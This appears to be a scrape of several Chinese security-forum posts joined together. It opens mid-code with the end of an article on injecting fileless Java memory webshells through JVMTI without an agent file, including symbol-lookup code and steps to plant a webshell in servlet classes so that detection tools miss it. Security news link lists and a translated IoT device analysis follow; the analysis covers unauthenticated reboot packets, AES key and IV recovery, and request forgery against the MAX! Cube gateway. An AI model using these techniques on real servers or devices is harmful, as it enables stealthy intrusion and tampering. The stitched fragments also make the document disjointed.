sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
long symstr_shdr_sh_offset = sh_offset;
long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size/symtab_shdr_sh_entsize : 0;
for(long i = 0; i < cnt; ++i) {
fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize*i);
int st_name = Integer.reverseBytes(fin.readInt());
byte st_info = fin.readByte();
byte st_other = fin.readByte();
short st_shndx = Short.reverseBytes(fin.readShort());
long st_value = Long.reverseBytes(fin.readLong());
long st_size = Long.reverseBytes(fin.readLong());
if(st_value == 0
|| st_name == 0
|| (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC))
{
continue;
}
fin.seek(symstr_shdr_sh_offset + st_name);
String name = "";
byte ch = 0;
while((ch = fin.readByte()) != 0)
{
name += (char)ch;
}
if(sym.equals(name))
{
func_ptr = libbase + st_value;
break;
}
}
fin.close();
return func_ptr;
}
}
上面代码是我在游望之的Poc上做了一些修改，如果需要对Linux平台下的Java类字节码进行动态替换，只要实例化上述MemShell类，调用agentForLinux函数即可。agentForLinux函数有两个参数，第一个为需要动态修改的类名，第二个为类的新版本字节码数组。
至此，我们就在无需目标磁盘落地文件的前提下，优雅而又安静的完成了动态修改Java类的能力。为了后续讨论方便，我将这种无需提供Agent.jar或者Agent.so来直接调用JVMTI接口的能力称作AgentNoFile。
### 植入内存马
有了动态修改类字节码的能力，注入内存马就没有障碍了，流程如下：
1. 首先选定需要植入的宿主类，比如weblogic/servlet/internal/ServletStubImpl.class，jakarta/servlet/http/HttpServlet.class,javax/servlet/http/HttpServlet.class。这三个类基本可以覆盖主流的Java web容器了。
2. 读取宿主类的字节码；
3. 往步骤2中的字节码中插入webshell字节码，这一步可以用asm或者Javaassit完成，当然也可以直接硬编码别人植入好的成品；
4. 调用上文中的动态修改类的函数，传递宿主类名和修改过的类字节码数组，植入完成。
上述就是利用AgentNoFile技术植入内存马的一般步骤，当然具体选哪个宿主类可以根据环境自定义，比如选一些比较冷门但是却必现在正常执行流程中的类，这样可以更具隐蔽性。
冰蝎v4.0已集成该能力。
### 后记
通过Java AgentNoFile方式植入的内存马，整个过程中不会有文件在磁盘上落地，而且不会在JVM中新增类，甚至连方法也不会增加。它就像inline
hook一样无色无味。在目前已有的基于反射机制的内存马查杀工具面前，它是隐形的。如果配合我文中介绍的Anti-Attch机制，基于Java
Agent技术的内存马查杀工具也会直接被致盲。
另外，本文标题虽然是讲内存马的注入，实际是提供了一种打通Java到Native层的一个不受约束的通道。利用这个通道，其实能做的事情非常多。
### 参考
1. [利用“进程注入”实现无文件复活 WebShell](https://www.freebuf.com/news/172753.html)
2. [Java内存攻击技术漫谈](https://xz.aliyun.com/t/10075)
3. [Linux下内存马进阶植入技术](https://mp.weixin.qq.com/s/ulINOH4BnwfR7MBc6r5YHQ) | 社区文章 |
# 【知识】5月4日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：** **WordPress Core <= 4.7.4全版本密码重置漏洞(0day)、WordPress <4.7.1
远程代码执行漏洞（非插件无需认证，附Poc,演示视频）、Pwning PHP mail() function For Fun And RCE 、bug
bounty – 绕过限制劫持Skype账号、PHPCMS V9.6.1 任意文件读取漏洞分析（含PoC，已有补丁）**
**资讯类：**
* * *
****
****
****
****
[](https://www.hackread.com/darkoverlord-hacks-westpark-capital-bank/)
不要轻易点击您刚刚收到您的电子邮件中的Google文档链接，防止钓鱼
[http://thehackernews.com/2017/05/google-docs-phishing-email.html](http://thehackernews.com/2017/05/google-docs-phishing-email.html)
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
WordPress Core <= 4.7.4全版本密码重置漏洞(0day)
<https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html>
WordPress <4.7.1 远程代码执行漏洞（非插件无需认证，附Poc,演示视频）
<https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html>
Pwning PHP mail() function For Fun And RCE
<https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html>
为什么mail函数在php中是危险的？
<https://www.ripstech.com/blog/2017/why-mail-is-dangerous-in-php/>
bug bounty – 绕过限制劫持Skype账号
<http://blog.csdn.net/u011721501/article/details/71107858>
Mirai, BrickerBot, Hajime攻击一个共同的IoT设备
<https://securingtomorrow.mcafee.com/mcafee-labs/mirai-brickerbot-hajime-attack-common-iot-weakness>
Reverse Engineering of Xbox Security Method 3
<http://oct0xor.github.io/2017/05/03/xsm3/>
针对KONNI恶意软件的分析
<http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html>
CVE-2017-0563：Google Nexus 9 Cypress传感器固件可以通过I2C总线的方式注入
<https://alephsecurity.com/vulns/aleph-2017009>
通过Task Scheduler绕过UAC
<https://pentestlab.blog/2017/05/03/uac-bypass-task-scheduler/>
GDB 插件pwndbg
<https://github.com/pwndbg/pwndbg>
PHPCMS V9.6.1 任意文件读取漏洞分析（含PoC，已有补丁）
<http://bobao.360.cn/learning/detail/3805.html>
Fastjson Unserialize Vulnerability Write Up
<https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up>
The slides of BFH2017 漏洞分析与利用培训课程 PPT
<https://exploit.courses/files/bfh2017/content.html> | 社区文章 |
# 【技术分享】物联网设备安全分析之MAX! Cube LAN Gateway篇
|
##### 译文声明
本文是翻译文章，文章来源：insinuator.net
原文地址：<https://insinuator.net/2016/04/discover-the-unknown-analyzing-an-iot-device/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：200RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
在这篇文章中，我们将为读者介绍如何对物联网设备进行安全评估。这里将会详细介绍进行评估所需的基本方法：对于不同的任务需要使用哪些工具，以及如何解决在分析过程中可能出现的问题。本文的目标读者对为对物联网设备安全分析感兴趣的朋友，对逆向工程感兴趣的读者，或者只想了解如何通过技术手段来处理未知设备的读者。
本文的重点不在于揭示某种设备的某种漏洞，而在于阐释影响各种IoT设备的安全弱点，因此，本文介绍的内容同样适用于其他的设备和场景。
**分析对象**
本文的分析对象是来自eQ-3公司的 MAX! Cube LAN Gateway
（以下称为“Cube”）。实际上，许多产品都捆绑了该设备，比如我的加热控制系统中就带有该设备。通过该设备名称中的“Cube”不难猜出，它只是一个LAN网关，通过RF技术实现真正的“物联网设备”或“智能设备”之间的通信。在本文中，我们将重点介绍以太网通信，因为它是管理软件的主要通信方式。
**搭建中间人攻击场景**
为了全面地了解该设备的通信状况，我搭建了一个简单的中间人攻击场景。我在自己的系统上使用了一个USB网卡，并将其直接连接到Cube。首先，打开Cube，但是不要使用任何管理客户端或其他需要通信的软件，这样就能了解Cube自身发送了什么数据包。我们发现，它只是试图通过DHCP获得IP，然后开始解析ntp.homematic.com。
为了让Cube可以访问互联网，我已将自己的USB网卡配置为Cube的路由器。为了在不使用DHCP的时候可以通过192.168.0.222访问Cube，我把设备的IP地址设为192.168.0.1/24，并进行了如下所示的配置，以允许通过USB网卡的NAT访问互联网：
sysctl net.ipv4.ip_forward=1
iptables -t nat -A POSTROUTING -o enp0s25 -j MASQUERADE
iptables -A FORWARD -i enp0s20u9u3 -o enp0s25 -j ACCEPT
iptables -A FORWARD -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
注意：设备enp0s20u9u3是连接到Cube的USB网卡，enp0s25是系统上的另一个网卡，该网卡连接到具有互联网连接的路由器上。
因为Cube会向默认的路由器发送DNS查询，所以，我们可以在机器上设置一个DNS服务器，或者直接将DNS查询转发给相应的域名服务器（例如OpenDNS服务器）：
iptables -t nat -A PREROUTING -i enp0s20u9u3 -p udp --dport 53 -j DNAT --to 208.67.222.222:53
iptables -t nat -A PREROUTING -i enp0s20u9u3 -p tcp --dport 53 -j DNAT --to 208.67.222.222:53
这样一来，我们就能设法观察Cube发送的所有的数据了，例如使用Wireshark或tcpdump等工具来嗅探连接到Cube的NIC上通信数据。
**发现网络中的Cube设备**
为了方便管理员自动识别本地网络上的Cube设备，Cube提供了相应的网络发现功能。下面的Wireshark屏幕截图展示了由本地管理软件发送的数据包：
该软件会向23272端口上的多播组地址224.0.01发送UDP数据包。在右下方，标记出来的hexdump部分是有效载荷（eQ3Max * x00
********** I）。这是一个所谓的身份消息，用来命令Cube向数据包的源主机报告其序列号。下面的截图显示了Cube的响应：
同样，这里响应的有效载荷也在右下侧（eQ3MaxApKMD1016788> I）做了标记。
我的设备的序列号是KMD1016788，所以一切正常。现在，我们只要发送这样的UDP数据包，就能轻松找出本地网络上所有的Cube设备。同时，我们也可以检查某个主机是否是使用单播数据包的Cube设备。
我们自己也可以发送所有这些数据包，甚至单播数据包。对于这些任务，我更喜欢使用Scapy来完成。因为有了它，我们就可以在交互式Python
shell中创建、发送/接收和操作数据包，这样做是很方便的，因为这样可以同时进行其他任务，如进行计算或数据转换。Cube使用的UDP端口是23272。我们可以从前面的示例中获取相应字符串（这是一个“身份消息（identity
message）”，由有效载荷末尾的“I”表示），并将其发送到目标主机：
>>> p = Ether()/IP(src="192.168.0.1", dst="192.168.0.222")/UDP(sport=23272, dport=23272)/Raw("eQ3Max*x00**********I")
>>> sendp(p, iface="enp0s20u9u3")
响应的有效载荷的内容如下所示：
00000000 65 51 33 4d 61 78 41 70 4b 4d 44 31 30 31 36 37 eQ3MaxAp KMD10167
00000010 38 38 3e 49 00 09 9c 3e 01 13 88>I...> ..
注意：Cube发送的响应数据包的源和目标端口总是23272。所以，你要么一直使用23272作为源端口来获得响应，要么使用pcap进行带外捕获——如果你使用随机源端口的话。
实际上身份消息是非常有用的：所有其他UDP消息都需要该Cube的序列号，它将被放入请求的响应中。有了这个序列号，我们就可以发送其他消息类型了，例如
“重新启动消息（reboot message）”（在有效载荷末尾用“R”进行标识）：
>>> p = Ether()/IP(src="192.168.0.1", dst="192.168.0.10")/UDP(sport=23272, dport=23272)/Raw("eQ3Max*x00KMD1016788R")
>>> sendp(p, iface="enp0s20u9u3")
就像该消息的名称所示，它会重新启动该设备。这种消息可以从本地网络上的任何设备发出，无需任何身份验证。
**如何管理Cube**
Cube的管理方式有三种：
**本地管理软件：** 这是一个可安装在Windows上的EXE程序，它会在一个较大的随机端口上启动一个本地Web服务器，用于java applet…
**远程管理软件：** 功能与登录界面基本相同，只不过是托管在云中而已。
**移动应用：** 我还没有见过。
本地和远程管理软件的主要区别是远程软件的通信是加密的，这一点将在下文详细介绍。
本地管理软件非常有助于深入了解Cube的内部工作原理，因为通过触发不同的功能，我们就可以观察发送给Cube的相应请求了。为此，我们可以每次执行一个功能，然后捕获相应的流量，从而大概了解哪些事情是可以通过Cube的远程管理来执行的。
与“远程代理”进行交互
为了使用远程管理软件，您必须在本地管理软件中配置远程管理所需的用户名和密码。请注意，对于Cube来说，每次只能通过一个客户端进行管理。
因此，当本地管理软件运行时，移动应用程序或远程管理将无法工作。
只要在端口62910上有一个打开的TCP会话，那么其他客户端就无法与此端口通信了。所以，本地网络中可以到达Cube的62910端口的每个客户端，都可以通过连接到Cube的这个端口来阻止其他客户端登陆。
Cube和远程管理工具之间的通信是加密形式的，但不是SSL / TLS …它们的通信是借助HTTP
POST请求来完成的，但是只对POST主体进行了加密。HTTP的头部如下所示：
POST /cube HTTP/1.1
Host: smarthome.md.de
connection: close
Content-Length: 32
Opt: "http://www.eq-3.com/MAX", ns=MAX
MAX-Serial: KMD1016788
这些请求将发送到http://smarthome.md.de:8080。其中，一个相当重要的头部是MAX-Serial。它必须包括有效的序列号，否则服务器将只是返回500 Internal Server Errors。
**AES密码**
AES密码用于加密发送到远程管理工具的POST主体。Cube能够支持"e"消息和"d"消息，这两类消息分别实现了“加密”和“解密”功能。这样的话，我们不仅可以对任意字符串进行加密，还能对Cube加密的任何字符串进行解密。下面有一个简单的例子：
~ » ncat 192.168.0.222 62910
[...]
e:TEST^M
E:kvJcZ8bVAoyXaE7gK+q2Ug==
d:kvJcZ8bVAoyXaE7gK+q2Ug==^M
D:TESTAAAAAAAAAAAAAAAAAA==
注意：Cube要求命令必须以“ r n”结尾，否则它不会给予响应。为此，在netcat /
ncat这样的工具中发送命令时，不要直接按下RETURN，而应该先按CTRL + v，然后再按RETURN（由行末尾的“^ M”表示）。
该示例展示了Cube是如何对字符串TEST进行加密的，返回的密文是以Base64编码的字符串kvJcZ8bVAoyXaE7gK + q2Ug ==。
为了对这个字符串进行解密，您可以使用它的解密功能，这样就可以得到明文字符串TEST了。字符串的其余部分只是经过编码的空字节（0x00），用于填充密文，使其符合AES块大小的要求。
加密的字符串通常使用Base64编码。下面，让我们看一个真实的例子：为了使用远程登录，我们需要设置用户名和密码。从Cube发送到远程系统的明文请求如下所示：
H:KMD1016788,099c3e,0113
B:FOOBAR1,5a8a4a5d3c1bd612b8bf1e2fecf609f7,1,SuperSecret
第一行包括的内容是序列号、RF地址和固件版本。
第二行包括用户名（FOOBAR1）、MD5哈希值，数字（1）和实际密码（SuperSecret）。MD5哈希值是
password||serial_number的哈希值：
~ » echo -n "SuperSecretKMD1016788"|openssl md5
(stdin)= 5a8a4a5d3c1bd612b8bf1e2fecf609f7
为了将这个有效载荷发送到远程系统，我们必须进行Base64编码：
~ » echo -n "H:KMD1016788,099c3e,0113
B:FOOBAR1,5a8a4a5d3c1bd612b8bf1e2fecf609f7,1,SuperSecret"|base64 -w0
SDpLTUQxMDE2Nzg4LDA5OWMzZSwwMTEzCkI6Rk9PQkFSMSw1YThhNGE1ZDNjMWJkNjEyYjhiZjFlMmZlY2Y2MDlmNywxLFN1cGVyU2VjcmV0
然后进行加密：
e:SDpLTUQxMDE2Nzg4LDA5OWMzZSwwMTEzCkI6Rk9PQkFSMSw1YThhNGE1ZDNjMWJkNjEyYjhiZjFlMmZlY2Y2MDlmNywxLFN1cGVyU2VjcmV0^M
E:kGxTXPZVm8CQGcurInyvX3z4C+6zKKKcuS8Wp259XC1yKUfN8tFIfRt0s3qRliIcUGSAcuhuDzl7fpT6fWOnyysSxk9TG1cXtrcVkeNWUzgeO5poXjS5tJlXWgV64ibG
我们现在可以将该Base64字符串复制到Burpsuite的中继器中，进行Base64解码（选中它，然后按CTRL + Shift +
b），并将其发送到服务器，具体如下图所示：
如图所示，服务器返回了一个200
OK响应，说明我们的请求成功了。之后，我们就可以使用用户名FOOBAR1和密码SuperSecret登录到http://smarthome.md.de/的Web界面了。
为了给响应消息进行解密，我们可以对响应的主体进行Base64编码（只选中响应的主体，并按CTRL + b），然后将其发送到Cube，利用其解密功能进行处理：
d:QAINuzPCglmG1nNNI/ylrbV6AXKdtBQbkNXT/pMobpXSeuP6/tZtCIq8GD5YSHjK^M
D:aTowMDAwNTFiMSwwMDAwMDAwMCxmZmZmZmZmZg0KYjpPSw0KAAAAAAAAAAAAAAAA
然后，对得到的Base64字符串进行解码：
~ » echo -n "aTowMDAwNTFiMSwwMDAwMDAwMCxmZmZmZmZmZg0KYjpPSw0KAAAAAAAAAAAAAAAA"|base64 -d
i:000051b1,00000000,ffffffff
b:OK
这里的重要问题是：该设备是如何加密该字符串的，加密密钥是什么？ 当谈论AES加密时，你必须弄清楚：
使用的密钥大小是多少？ AES支持128、192和256位密钥。
使用什么操作模式？
根据操作模式：初始化向量（IV）是什么？
第一个问题很容易回答：在供应商页面上，他们说它使用的是AES-128。 那么操作模式是什么呢？ 知道了它，我们就可以加密任意字符串。
最基本的操作模式是ECB：每个16字节块都被独立加密，对于它来说，如果对明文加密两次后会得到相同的密文。 我已经通过字符串（ 16 *
“xff”的Base64编码）进行了测试，这个字符串的大小正好等于AES密码的块大小：
e://///////////////////w==^M
E:XQfNd8PcLZgnJbwGTuTx5A==
e://///////////////////w==^M
E:XQfNd8PcLZgnJbwGTuTx5A==
我们可以看到，对相同的明文（///////////////////// w ==）加密两次，得到的密文是一致的，那么这可能意味着使用的是ECB 。
但是，让我们看看多个块是否是单独进行加密的。 以下示例将会加密32 *“ xff”（两个块）：
e://///////////////////w==^M
E:XQfNd8PcLZgnJbwGTuTx5A==
e://////////////////////////////////////////8=^M
E:XQfNd8PcLZgnJbwGTuTx5LM36fXWGGUjgVLWxtzwCgo=
如果它使用了ECB模式，那么密文应包含两份先前看到的字节序列：
cryptotest » echo -n "XQfNd8PcLZgnJbwGTuTx5A=="|base64 -d |xxd
00000000: 5d07 cd77 c3dc 2d98 2725 bc06 4ee4 f1e4 ]..w..-.'%..N...
cryptotest » echo -n "XQfNd8PcLZgnJbwGTuTx5LM36fXWGGUjgVLWxtzwCgo="|base64 -d |xxd
00000000: 5d07 cd77 c3dc 2d98 2725 bc06 4ee4 f1e4 ]..w..-.'%..N...
00000010: b337 e9f5 d618 6523 8152 d6c6 dcf0 0a0a .7....e#.R......
我们可以在hexdump中看到，第一个16字节的确与以前的加密结果一致，但是第二个块是完全不同的。 实际上，ECB加密结果应该是这样的：
cryptotest » xxd plain_16
00000000: ffff ffff ffff ffff ffff ffff ffff ffff ................
cryptotest » xxd plain_32
00000000: ffff ffff ffff ffff ffff ffff ffff ffff ................
00000010: ffff ffff ffff ffff ffff ffff ffff ffff ................
cryptotest » openssl enc -aes-128-ecb -in plain_16 -nosalt -nopad -k TEST |xxd
00000000: cb30 66d5 3db8 89f6 da4b 5831 d29c 6b9f .0f.=....KX1..k.
cryptotest » openssl enc -aes-128-ecb -in plain_32 -nosalt -nopad -k TEST |xxd
00000000: cb30 66d5 3db8 89f6 da4b 5831 d29c 6b9f .0f.=....KX1..k.
00000010: cb30 66d5 3db8 89f6 da4b 5831 d29c 6b9f .0f.=....KX1..k.
我们现在知道，它不是ECB。第二种猜测是使用CBC模式进行的加密。CBC在进行AES加密之前，先对第一个块用初始向量IV进行XOR运算，而所有后续块将与前一块的密文进行XOR运算。这样做的好处是防止相同的明文加密两次，会产生两份相同的密文。对于这个IV来说，就是每次加密时生成的一个随机数字。所以这里合理的猜测是，这个Cube使用的是静态IV的CBC。
但是，要想解密密文的话，我们首先需要获得相应的加密密钥。我这里的猜测是，密钥可能是基于序列号的，因为如果MAX-serial头部中包含的是另一个序列号（即使有效）的话，那么远程服务器就不会接受密文。然而，密钥从未露面，同时Cube和远程服务器在磋商加密参数的时候也没有进行握手。所以，我猜测这个密钥可能是通过序列号计算得到的。
除了软件方面之外，我还还考察了Cube的硬件。结果是，电路板本身是很小，正面除了序列号之外，好像也没有其他有用的信息。但是，我把它翻过来的时候，有趣的东西出现了……
背面有几个QR码，包括MAC地址，RF地址，序列号，以及一个…KEY …？
标识为KEY的QR码包含以“k”（可能是"key"的意思）为前缀的MD5哈希值，所以，我们不妨尝试用这个密钥来解密密文：
~ » echo -n "XQfNd8PcLZgnJbwGTuTx5LM36fXWGGUjgVLWxtzwCgo="|base64 -d |openssl enc -aes-128-cbc -d -nopad -nosalt -K 98bbce3f1b25df8e6894b779456d330e -iv 00 |xxd
00000000: c975 1589 ed36 536c c975 1589 ed36 536c .u...6Sl.u...6Sl
00000010: ffff ffff ffff ffff ffff ffff ffff ffff ................
棒极了！您可以看到，第二个块已正确解密了。 实际上，第一个块应该是相同的，但它看起来却是完全随机的。 在上一个命令中，我使用了空字节来作为IV（-iv
00）。但是，不要忘了，在解密CBC模式中的最后一个块之后，需要将最后一个块与IV进行XOR。这样就好理解了：由于第一个块（在解密期间将被最后处理）与一个错误的值进行了异或运算，所以才导致了不同的明文。
然而，在这种情况下获得IV是相当容易的，因为我们知道明文。我们只要将前面得到的第一个块与明文（即16 *“
xff”）进行异或运算，就能得到正确的IV了。现在，请打开一个Python shell，只需要进行如下所示的操作即可：
>>> hex(0xc9751589ed36536cc9751589ed36536c^0xffffffffffffffffffffffffffffffff)
'0x368aea7612c9ac93368aea7612c9ac93L'
现在，让我们用这里的IV再次对密文进行解密：
~ » echo -n "XQfNd8PcLZgnJbwGTuTx5LM36fXWGGUjgVLWxtzwCgo="|base64 -d |openssl enc -aes-128-cbc -d -nopad -nosalt -K 98bbce3f1b25df8e6894b779456d330e -iv 368aea7612c9ac93368aea7612c9ac93 |xxd
00000000: ffff ffff ffff ffff ffff ffff ffff ffff ................
00000010: ffff ffff ffff ffff ffff ffff ffff ffff ................
如你所见，我们的明文已经完全恢复了！我们还可以解密远程服务器的响应：
~ » echo -n "QAINuzPCglmG1nNNI/ylrbV6AXKdtBQbkNXT/pMobpXSeuP6/tZtCIq8GD5YSHjK"|base64 -d |openssl enc -aes-128-cbc -d -nopad -nosalt -K 98bbce3f1b25df8e6894b779456d330e -iv 368aea7612c9ac93368aea7612c9ac93
i:000051b1,00000000,ffffffff
b:OK
现在，我们已经掌握了在Cube和远程服务器上对字符串进行加密和解密的所有秘密。同时，我还实现了一个小的Python脚本，不仅使得加密/解密字符串变得更加简单，同时还能完成适当的填充操作。
****
**网络发现的自动化**
在我看来，分析未知设备的一个重要部分，就是让其他人也能使用已获得的信息，以支持他人的进一步研究，或能够让人们用通用工具来发现这样的设备。当涉及到发现网络上的设备时，我选择的通用工具是Nmap。除了纯端口扫描之外，它还提供了大量已知服务的签名，同时，我们还可以通过NSE脚本来对其功能进行扩展。
NSE脚本是用Lua语言编写的，而Lua又是一种相当简单和易于理解的脚本语言。
开始编写自己的脚本时，最简单的方法是就是学习现有的脚本（脚本通常位于/usr/share/nmap/scripts目录中，或者在线查找）。例如，对于身份请求来说，我们只需要发送一个UDP包，然后检索响应的有效载荷即可。一个浅显易懂例子是daytime.nse脚本，具体如下所示：
portrule = shortport.port_or_service(13, "daytime", {"tcp", "udp"})
action = function(host, port)
local status, result = comm.exchange(host, port, "dummy", {lines=1})
if status then
return result
end
end
在开头部分，只是定义了一些元数据，实际上对于每个NSE脚本来说，真正的起始位置都是从portrule这里开始的。它定义了该脚本的运行时机。就本例来说，如果13端口已经打开了，并且与端口13或TCP或UDP服务匹配的时候，就会运行该脚本。
NSE脚本中的第二个重要的事情是action，它可以被看作是NSE脚本的main（）函数。action总是需要两个参数：主机和端口。应当指出，这些不仅仅是一个包含主机名或IP地址和端口号的字符串，每个都是一个保存了诸如主机表（host.mac_addr）中的MAC地址或端口表（port.protocol）中的协议（TCP或UDP）之类附加信息的表。
这个脚本使用了comm模块中的exchange（）函数，而该模块是Nmap提供的诸多LUA模块之一。这个函数的作用，只是发送一个有效载荷并返回响应。如果脚本需要向用户返回信息的话，可以通过纯字符串或LUA表的形式来返回。
作为Nmap脚本的第一个例子，这里只是在TCP端口62910连接Cube设备，并解析该设备返回的第一行内容，从而输出该Cube设备的序列号、RF地址和固件版本
。
H:KMD1016788,099c3e,0113,00000000,7ee2b5d7,00,32,100408,002c,03,0000
[...]
所以，我们的脚本只需要连接到该端口，获得响应并解析值KMD1016788（序列号）、099c3e（RF地址）和0113（固件版本），代码具体如下所示：
local shortport = require "shortport"
local stdnse = require "stdnse"
description = [[
]]
author = "CHANGEME"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"discovery", "safe"}
portrule = shortport.portnumber(0, "tcp")
action = function(host, port)
end
在上面的代码的基础之上，可以继续添加所需的功能。
因为我们只需要连接到一个端口来获取响应而不发送任何东西，所以最简单的方法是使用一个简单的套接字。有了Nmap后，利用NSE脚本进行socket通信变得异常轻松：
local sock = nmap.new_socket()
local status, err = sock:connect(host, port, "tcp")
if not status then
stdnse.debug1("%s", err)
return
end
local status, data = sock:receive()
if not status or not data then
stdnse.debug1("%s", "Could not receive any data")
return
end
这样就可以在变量ret中接收响应了，然后解析该变量，就能提取所需的信息了：
local output = stdnse.output_table()
local serial, rf_address, firmware
for serial,rf_address,firmware in data:gmatch("H:(%u%u%u%d%d%d%d%d%d%d),(%x%x%x%x%x%x),(%d%d%d%d),") do
output["MAX Serial:"] = serial
output["RF Address"] = rf_address
output["Firmware Version"] = firmware
end
现在，我们就有了一个输出表，其中包含了需要返回给用户的所有信息。正如前面说过的一样，为此只需在action的末尾放上一个“return output”即可。
完整的脚本可以在这里下载。
我们可以测试该脚本，检查是否能够正常工作：
max-cube/nse » nmap --script maxcube-info.nse -Pn -p 62910 192.168.0.222
Starting Nmap 7.12SVN ( https://nmap.org ) at 2016-04-08 01:11 CEST
Nmap scan report for 192.168.0.222
Host is up (0.0051s latency).
PORT STATE SERVICE
62910/tcp open unknown
| maxcube-info:
| MAX Serial:: KMD1016788
| RF Address: 099c3e
|_ Firmware Version: 0113
从上面的结果来看，我们的脚本工作正常。但它可能是非常不可靠的：就像我前面提到的，当端口62910上有一个开放的TCP连接（例如管理软件正在运行或有人通过netcat连接该端口）的时候，Nmap将无法与该端口进行通信，那么这个脚本自然就无法正常工作了。
一些有用的提示：
stdnse模块提供了debug()函数，可以用来在脚本中打印所有的调试输出。为此，至少需要提供一个-d命令行参数。
命令行参数-script-trace能够提供调试NSE脚本所需的更详细的输出结果。
为了在已标识为打开的所有端口上运行该脚本，请在脚本名称前面加上前缀+，例如不要用“-script myscript.nse”，而是使用“-script +
myscript.nse”
**接下来要做什么？**
还有两个大问题需要解决：
**加密密钥来自哪里？**
我认为加密密钥（看起来像一个MD5哈希值）是只有供应商知道的密码串与序列号的哈希值。由于供应商可以区分密文，这意味着每个设备都可能有一个自己的密钥（我只有一个设备可以测试）。
一个不同的论点：我在电路板上的QR码中发现的密钥。这可能表示，密钥在设备的制造期间就已经确定下来了。
加密密钥可以是完全随机的，并且甚至可能不是包括序列号的任何明文的散列值。但这意味着供应商将需要建立一个列表，以便在制造期间将所有的序列号都映射为相应的密钥。
**文件firmware.enc是如何加密的？**
Cube提供了更新功能，也就是可以通过UDP数据包发送一些新版本的固件（记住，这是未经验证的）。
然而，固件文件是不可读的，并且需要在该设备上进行解密，因为管理软件只能解析文件，但无法解密它们。我已经编写了一个简单的解析代码（地址<https://github.com/ernw/insinuator-snippets/tree/master/maxcube/firmware/parser>），但固件本身似乎是加密的。
不过，我猜修改固件是一件很酷的事情。
**编写其他Nmap脚本**
正如在文章开头所看到的那样，至少有两种方法可以识别网络上的Cube：多播或单播UDP数据包。然而，这些方法还是需要一点技巧的，因为响应的源端口是静态的（总是23272）。所以，如果你打算在脚本中使用Nmap的comm.exchange()函数的话，那么是无法在函数中获得任何响应的，因为它会使用随机的源端口。
这个问题的解决方案是发送组播数据包，然后使用pcap捕获响应。实际上，Nmap的一些脚本已经可以做到这一点了，例如我就写过一个脚本，专门利用类似的技术来寻找KNX设备。
**结束语**
根据我们分析IoT设备的经验，大部分物联网设备都存在许多常见的安全漏洞，如缺乏身份验证或验证不足等。
此外，在网络上识别这样的设备通常是轻而易举的事情，因为它们具有一些“奇异”的属性，例如响应分组中的固定源端口或者仅允许单个TCP连接等。所以，我希望分析未知设备的研究人员也开始共享他们的研究成果，例如向Nmap等项目贡献代码，以便帮助更多的人。 | 社区文章 |
# 1月19日安全热点 - AMD CPU漏洞更新/GhostTeam恶意软件
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
GhostTeam Android恶意软件可以窃取Facebook的证书
<https://www.bleepingcomputer.com/news/security/ghostteam-android-malware-can-steal-facebook-credentials/>
微软提供了 AMD 上的Meltdown & Spectre 更新
<https://www.bleepingcomputer.com/news/microsoft/microsoft-resumes-meltdown-and-spectre-updates-for-amd-devices/>
一些新的Chrome和Firefox扩展可能会导致浏览器劫持更难被阻止
<https://blog.malwarebytes.com/threat-analysis/2018/01/new-chrome-and-firefox-extensions-block-their-removal-to-hijack-browsers/>
黑客可能已经盗取了挪威一半人口的医疗数据
<https://www.bleepingcomputer.com/news/security/hacker-might-have-stolen-the-healthcare-data-for-half-of-norway-s-population/>
针对安卓设备的大规模监控活动出现
<https://threatpost.com/sprawling-mobile-espionage-campaign-targets-android-devices/129524/>
## 技术类
Linux堆开发介绍系列 – （BONUS）printf可能会泄漏！
<https://sensepost.com/blog/2018/linux-heap-exploitation-intro-series-bonus-printf-might-be-leaking/>
CubeCart 6.1.12 – 管理员身份验证绕过
<https://blog.ripstech.com/2018/cubecart-admin-authentication-bypass/>
使用Internet范围的扫描数据绕过CloudFlare
<https://blog.christophetd.fr/bypassing-cloudflare-using-internet-wide-scan-data/>
Necurs僵尸网络
<http://blog.talosintelligence.com/2018/01/the-many-tentacles-of-necurs-botnet.html>
Libc Realpath缓冲区下溢漏洞，可导致Linux本地提权
<http://mp.weixin.qq.com/s/x69eDc8ke0wcUcwRdhsk4Q>
MailChimp可能会泄漏您的电子邮件地址
<https://shkspr.mobi/blog/2018/01/mailchimp-leaks-your-email-address/>
Smiths Medical Medfusion 4000远程执行代码
<https://github.com/sgayou/medfusion-4000-research/blob/master/doc/README.md>
EvilURL v2.0 一个生成用于钓鱼攻击的 IDN域名的工具
<https://www.kitploit.com/2018/01/evilurl-v20-unicode-domain-phishing.html> | 社区文章 |
# CVE-2019-14271：Docker cp命令漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 paloaltonetworks，文章来源：paloaltonetworks.com
原文地址：<https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
